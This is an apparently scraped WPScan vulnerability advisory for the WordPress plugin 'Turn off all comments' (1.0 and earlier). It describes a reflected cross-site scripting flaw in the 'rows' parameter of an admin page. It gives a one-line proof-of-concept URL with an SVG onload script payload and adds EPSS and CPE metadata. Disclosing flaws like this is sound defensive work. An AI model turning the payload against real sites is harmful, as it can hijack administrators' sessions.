Lucene search

K
wpvulndbP7e4WPVDB-ID:18660C71-5A89-4EF6-B0DD-7A166E3449D6
HistoryApr 26, 2022 - 12:00 a.m.

Turn off all comments <= 1.0 - Reflected Cross-Site Scripting

2022-04-2600:00:00
p7e4
wpscan.com
7

0.001 Low

EPSS

Percentile

40.4%

The plugin does not sanitise and escape the rows parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting

PoC

https://example.com/wp-admin/tools.php?page=toac&amp;status;=success&amp;rows;=<svg%2Fonload%3Dalert(%2Fxss%2F)>

CPENameOperatorVersion
turn-off-comments-for-all-postseq*

0.001 Low

EPSS

Percentile

40.4%

Related for WPVDB-ID:18660C71-5A89-4EF6-B0DD-7A166E3449D6